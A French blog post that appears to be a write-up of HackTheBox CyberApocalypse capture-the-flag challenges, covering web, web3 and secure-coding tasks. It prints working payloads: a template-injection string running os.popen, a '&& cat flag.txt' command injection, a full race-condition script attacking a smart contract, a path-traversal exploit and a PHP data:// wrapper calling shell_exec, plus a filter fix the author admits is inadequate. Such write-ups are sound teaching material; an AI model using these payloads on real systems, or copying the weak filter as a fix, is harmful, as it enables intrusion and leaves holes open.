Avec 77 flags sur 62 challenges, il y avait de quoi faire cette année à la CyberApocalypse de HackTheBox ! Plus de 18.000 joueurs ont tenté l’aventure. Je m’en suis mieux sorti que l’an dernier avec 32 flags et 20 challenges réussis (principalement du easy, mais quand même).
Vous vous souvenez quand j’ai dit que je devais prendre le temps de lire les ressourcJe vous propose ici de voir rapidement les solutions de challenges Web, Web3 et Secure Coding.
Les challenges Web
Trial by Fire – Very easy
On arrive sur une interface qui demande un pseudo, qui nous mène vers un combat perdu d’avance puis des résultats. Je tente quelques injections dans le pseudo, quelques manipulations du token. Rien ! En fouillant le code source, on tombe en revanche sur:
<div class="nes-container is-dark with-title stat-group">
<p class="title">Battle Statistics</p>
<p>🗡️ Damage Dealt: <span class="nes-text is-success">{stats['damage_dealt']}</span></p>
<p>💔 Damage Taken: <span class="nes-text is-error">{stats['damage_taken']}</span></p>
<p>✨ Spells Cast: <span class="nes-text is-warning">{stats['spells_cast']}</span></p>
<p>⏱️ Turns Survived: <span class="nes-text is-primary">{stats['turns_survived']}</span></p>
<p>⚔️ Battle Duration: <span class="nes-text is-secondary">{float(battle_duration):.1f} seconds</span></p>
</div>
En regardant un peu les calls via Burp, on se rend compte que tout est envoyé par le front. Nous avons un call en POST qui part vers /battle-report. On y envoie: damage_dealt, damage_taken, spells_cast, turns_survived, outcome et battle_duration. On va donc pouvoir tenter une attaque de type template injection.
Je tente un {{ self }} (puisqu’on est en python) dans spells_cast (au hasard). Et bingo, ça marche. On sait que le flag est à la racine, on peut essayer un:
damage_dealt=73&damage_taken=105&spells_cast={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}&turns_survived=3&outcome=defeat&battle_duration=19.227
Et ça nous retourne un magnifique:
<p>✨ Spells Cast: <span class="nes-text is-warning">HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght_2a537a3b493d72a8b6ab80310ded5594}</span></p>
Whispers of the Moonbeam – Very easy
Bon celui-là était de loin le plus simple (la quantité de solves parle d’elle-même). On se balade un peu dans les commandes et le code source. Et en testant certaines commandes on trouve des choses intéressantes:

On comprend vite que les commandes sont en vérité des alias, on tente donc la commande suivante:
gossip && cat flag.txt
Et voilà, la commande nous renvoie un joli:
HTB{Sh4d0w_3x3cut10n_1n_Th3_M00nb34m_T4v3rn_633d5a241725c8f676eaa74bfaab1bde}
Les challenges Web3
J’ai voulu tenter pour la première fois un challenge web3 pour mettre un peu en application mes connaissances en Solidity !
Eldorion
Déjà on lance l’instance et on récupère les clés:
Player Private Key : 0xe6209ea4627ff10bc165a89f2def5c5aa4abb1762193f186f03225601f98cec2
Player Address : 0x3bF8FbDdF0570faC831Fe6834A006AdF62513A55
Target contract : 0x08318ee7E636a4FaFA815ee116a5aE8C7323e086
Setup contract : 0xC34F942632666Ce2aA0341fbf6e49B38F0a511Fe
Les deux premières clés seront pour nous identifier. La 3e correspondra au contrat qu’on devra cibler.
Cette fois on prend le temps d’analyser le code source:
pragma solidity ^0.8.28;
contract Eldorion {
uint256 public health = 300;
uint256 public lastAttackTimestamp;
uint256 private constant MAX_HEALTH = 300;
event EldorionDefeated(address slayer);
modifier eternalResilience() {
if (block.timestamp > lastAttackTimestamp) {
health = MAX_HEALTH;
lastAttackTimestamp = block.timestamp;
}
_;
}
function attack(uint256 damage) external eternalResilience {
require(damage <= 100, "Mortals cannot strike harder than 100");
require(health >= damage, "Overkill is wasteful");
health -= damage;
if (health == 0) {
emit EldorionDefeated(msg.sender);
}
}
function isDefeated() external view returns (bool) {
return health == 0;
}
}
Nous devons réussir à vaincre Eldorion, mais il a 300 points de vie. On ne peut attaquer à plus de 100 points en même temps, et la vie est réinitialisée à chaque attaque.
Ici on a une faille assez connue dans les Smart Contracts: réussir à contourner une sécurité en envoyant plusieurs requêtes simultanément. C’est en revanche moins courant de voir ça dans un modifier. On va donc utiliser python avec asyncio pour tenter d’envoyer 4 attaques en même temps. Ainsi on est sûrs de dépasser les 300, et si tout part en un temps correct, on devrait pouvoir l’avoir.
Pour commencer, il faut générer un ABI (Application Binary Interface), un code qui décrit comment interagir avec un contrat. On va utiliser un générateur, qui nous donne:
TARGET_ABI = [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"internalType": "address",
"name": "slayer",
"type": "address"
}
],
"name": "EldorionDefeated",
"type": "event"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "damage",
"type": "uint256"
}
],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "health",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isDefeated",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]
Ajoutons-ça en dessous de nos imports:
import asyncio
from web3 import AsyncWeb3
On initie notre objet web3 (l’URL est générée par HTB lors de la génération d’instance), notre compte utilisateur et le contrat qu’on veut cibler:
w3 = AsyncWeb3(AsyncWeb3.AsyncHTTPProvider('http://83.136.251.68:39500'))
account = w3.eth.account.from_key("0xe6209ea4627ff10bc165a89f2def5c5aa4abb1762193f186f03225601f98cec2")
contract = w3.eth.contract(address="0x08318ee7E636a4FaFA815ee116a5aE8C7323e086", abi=TARGET_ABI)
Maintenant en se basant sur la doc, on peut définir cette fonction pour appeler la fonction d’attaque:
async def send_attack(nonce_offset):
nonce = await w3.eth.get_transaction_count(account.address) + nonce_offset
gas_price = await w3.eth.gas_price
txn = await contract.functions.attack(100).build_transaction({
'from': account.address,
'gas': 200000,
'gasPrice': gas_price,
'nonce': nonce
})
signed_txn = w3.eth.account.sign_transaction(txn, account.key)
tx_hash = await w3.eth.send_raw_transaction(signed_txn.raw_transaction)
return tx_hash
Je rajoute juste un nonce parce que j’ai eu des soucis à l’appel du contrat sans ça !
Ensuite on appelle juste 4 fois l’attaque:
async def main():
for i in range(4):
send_attack(i)
Et il nous reste plus qu’à appeler main depuis asyncio:
asyncio.run(main())
Pas sûr que ce soit le plus efficace, mais ça a fonctionné. En appelant l’URL de vérifiation, ça nous renvoie bien notre joli flag ! Je vous met donc ici le code complet:
import asyncio
from web3 import AsyncWeb3
TARGET_ABI = [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"internalType": "address",
"name": "slayer",
"type": "address"
}
],
"name": "EldorionDefeated",
"type": "event"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "damage",
"type": "uint256"
}
],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "health",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isDefeated",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]
async def send_attack(nonce_offset):
nonce = await w3.eth.get_transaction_count(account.address) + nonce_offset
gas_price = await w3.eth.gas_price
txn = await contract.functions.attack(100).build_transaction({
'from': account.address,
'gas': 200000,
'gasPrice': gas_price,
'nonce': nonce
})
signed_txn = w3.eth.account.sign_transaction(txn, account.key)
tx_hash = await w3.eth.send_raw_transaction(signed_txn.raw_transaction)
return tx_hash
async def main():
for i in range(4):
send_attack(i)
w3 = AsyncWeb3(AsyncWeb3.AsyncHTTPProvider('http://83.136.251.68:39500'))
account = w3.eth.account.from_key("0xe6209ea4627ff10bc165a89f2def5c5aa4abb1762193f186f03225601f98cec2")
contract = w3.eth.contract(address="0x08318ee7E636a4FaFA815ee116a5aE8C7323e086", abi=TARGET_ABI)
asyncio.run(main())
Les challenges Secure Coding
Première fois que je vois cette catégorie. En tout cas belle découverte de cette CyberApocalypse, bien qu’un peu trop simple. Très intéressant cependant de faire de la code review !
Arcane Auction
Ces exercices fonctionnent différemment: un code source, un fichier d’exploit et une URL pour vérifier si vous avez bien fix la faille. On regarde donc d’entrée de jeu le exploit.py fourni avec le projet. La partie qui nous intéresse principalement sera la suivante:
payload = {
"filter": {
"select": {
"seller": {
"select": {
"password": True
}
}
}
}
}
Ici on comprend qu’on a affaire à une faille assez classique dans laquelle l’exploration est trop permissive. On retrouve le bout de code coupable dans routes.js:
router.post('/api/filter', async (req, res) => {
try {
const filter = req.body.filter || {};
const items = await prisma.item.findMany(filter);
res.json(items);
} catch (error) {
console.error(error);
res.status(500).json({ error: 'Filtering error' });
}
});
Une des méthodes simple pour ça c’est de préciser les select à la main. Je ne sais pas exactement si la donnée seller était nécessaire au front. J’ai malgré tout testé un fix tout simple:
const items = await prisma.item.findMany({
...filter,
select: {
id: true,
name: true,
description: true,
imageUrl: true,
currentBid: true,
timeLeft: true,
category: true,
act: true,
element: true,
rarity: true,
magicType: true,
faction: true,
origin: true,
material: true,
weight: true,
levelRequirement: true,
},
});
Et… Ça a marché et j’ai obtenu le flag ! Donc bah… Go !
Stoneforge Domains
Ici pareil, on commence par regarder l’exploit:
#!/usr/bin/env python3
# Modules
import requests
URL = "http://localhost"
FILE = 'utils.py'
def exploit():
# Get the file
r = requests.get(f"{URL}/static../{FILE}")
# Save the file
with open(f"/tmp/{FILE}", 'wb') as f:
f.write(r.content)
print(f"File {FILE} downloaded to /tmp/{FILE}")
if __name__ == "__main__":
exploit()
On est donc sur une faille de type Path Traversal sur une erreur de configuration de Ngnix. J’avais déjà eu l’occasion de croiser un exercice similaire sur root-me ! On fouille donc le ngnix.conf:
http {
server_tokens off;
log_format docker '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /dev/stdout docker;
include /etc/nginx/mime.types;
server {
listen 3000;
server_name _;
charset utf-8;
client_max_body_size 5M;
location /static {
alias /www/application/app/static/;
}
location / {
proxy_pass http://127.0.0.1:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Et toute la faille tient dans cette ligne:
location /static {
Quand on définit un alias sous nginx, il faut toujours terminer le chemin par un séparateur de dossiers (un « / » quoi). Donc pour fix la faille, on transforme ça bêtement en:
location /static/ {
On lance le validateur de correction et on obtient le flag !
Lyra’s Tavern
Comme pour les précédents, on inspecte le exploit.py et on a:
payload = b'<? shell_exec("id > /www/application/out.txt"); ?>'
data_url = f"data://text/plain;base64,{base64.b64encode(payload).decode()}"
data = {
"data":urllib.parse.quote(f"allow_url_include=1\nauto_prepend_file=\"{data_url}\"")
}
Ici, le payload se base donc sur un wrapper php qui est resté activé. Le fix idéal consisterait à le désactiver dans la conf apache. Mais comme je voyais déjà allow_url_include = Off et allow_url_include = Off dans le fichier de conf je suis resté dubitatif. Du coup j’ai choisi une solution « quick&dirty » et j’ai simplement filtré la data passée dans le fichier app.cgi:
$data = str_ireplace('data://', '', $data);
On est d’accord que ça nécessiterait un meilleur sanitizer, mais ça a suffi à déclencher le flag. Donc on va faire avec pour cette fois !
Conclusion de cette CyberApocalypse
Très chouette édition pour être honnête. Les challenges IA étaient agréables à essayer (même si certains ont trouvé un prompt unique qui a vaincu chaque instance). Objectif pour l’an prochain: réussir des challenges pwn et ML qui sont les deux seules que je n’ai pas du tout touché.